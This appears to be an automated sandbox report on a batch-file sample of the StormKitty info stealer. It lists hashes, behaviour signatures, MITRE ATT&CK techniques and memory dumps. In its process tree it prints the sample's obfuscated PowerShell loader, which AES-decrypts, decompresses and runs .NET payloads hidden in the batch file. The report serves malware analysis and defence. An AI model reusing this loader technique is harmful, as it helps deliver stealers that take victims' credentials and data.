stormkitty | 43b71ff866714a9281c6443c83b2d9b8adb3ba10c36a7edceed9ceb2ea03ae9c

Analysis

max time kernel
93s
max time network
94s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
07/08/2024, 17:13

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General

Target
1 (3).bat
Size 5.0MB
Sample240807-vrnjfs1dkp
SHA256 43b71ff866714a9281c6443c83b2d9b8adb3ba10c36a7edceed9ceb2ea03ae9c
MD5 c8a15e928d8716c074a207383132fdee
SHA1 722aab3f5a84f86206b3dafc8d646356f1a9fa8f
SHA512 570b31953a996a4f09eb19094463e06aad7768d352b26eaf93d0218e725fecd9b1847f7eb3b5316d476c750258995121a0e3f30937615579431ae91addea9f53
SSDEEP 24576:uJmEVc1z91hmGDRSxkI7ZkgSd8cNuT4YBymha85MqsmThzY0HKh+3tHnZo1tLRll:uOxmqRUbR57NHHy1mtxaV
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

stormkitty execution stealer

Malware Config

Signatures

StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

StormKitty payload 1 IoCs

resource	yara_rule
behavioral2/memory/2328-17-0x000001E0E7FE0000-0x000001E0E81AE000-memory.dmp	family_stormkitty

Blocklisted process makes network request 2 IoCs

flow	pid	Process
15	2328	powershell.exe
17	2328	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2328	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
14	icanhazip.com

Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	powershell.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2328	powershell.exe
2328	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2328	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4228 wrote to memory of 3784	4228	cmd.exe	87
PID 4228 wrote to memory of 3784	4228	cmd.exe	87
PID 4228 wrote to memory of 2328	4228	cmd.exe	88
PID 4228 wrote to memory of 2328	4228	cmd.exe	88

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\1 (3).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4228
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0rjlbZXI4wI0ciuar5m++D5+J76klQrlAvbqJ43Iy4Y='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1usa/uKScJKM8/1+YdulaA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $DDGsT=New-Object System.IO.MemoryStream(,$param_var); $CWqVT=New-Object System.IO.MemoryStream; $PJdiV=New-Object System.IO.Compression.GZipStream($DDGsT, [IO.Compression.CompressionMode]::Decompress); $PJdiV.CopyTo($CWqVT); $PJdiV.Dispose(); $DDGsT.Dispose(); $CWqVT.Dispose(); $CWqVT.ToArray();}function execute_function($param_var,$param2_var){ $YPAVW=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $qHQpi=$YPAVW.EntryPoint; $qHQpi.Invoke($null, $param2_var);}$wtInT = 'C:\Users\Admin\AppData\Local\Temp\1 (3).bat';$host.UI.RawUI.WindowTitle = $wtInT;$VvHgl=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($wtInT).Split([Environment]::NewLine);foreach ($mXdOf in $VvHgl) { if ($mXdOf.StartsWith('tPqKmfSeuKbxOPBqzcVB')) { $Sdscq=$mXdOf.Substring(20); break; }}$payloads_var=[string[]]$Sdscq.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
  2⤵
  PID:3784
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2328

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

__PSScriptPolicyTest_ryv0aeye.paa.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ryv0aeye.paa.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/2328-14-0x000001E0E7D90000-0x000001E0E7E06000-memory.dmp

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memory/2328-6-0x000001E0E5800000-0x000001E0E5822000-memory.dmp

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memory/2328-11-0x00007FFD05E60000-0x00007FFD06921000-memory.dmp

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memory/2328-12-0x00007FFD05E60000-0x00007FFD06921000-memory.dmp

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memory/2328-13-0x000001E0E7A80000-0x000001E0E7AC4000-memory.dmp

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memory/2328-0-0x00007FFD05E63000-0x00007FFD05E65000-memory.dmp

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memory/2328-15-0x000001E0E5880000-0x000001E0E5888000-memory.dmp

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memory/2328-16-0x000001E0E7E10000-0x000001E0E7FDC000-memory.dmp

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memory/2328-17-0x000001E0E7FE0000-0x000001E0E81AE000-memory.dmp

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memory/2328-18-0x00007FFD05E60000-0x00007FFD06921000-memory.dmp

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memory/2328-21-0x00007FFD05E60000-0x00007FFD06921000-memory.dmp

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memory/2328-22-0x00007FFD05E60000-0x00007FFD06921000-memory.dmp

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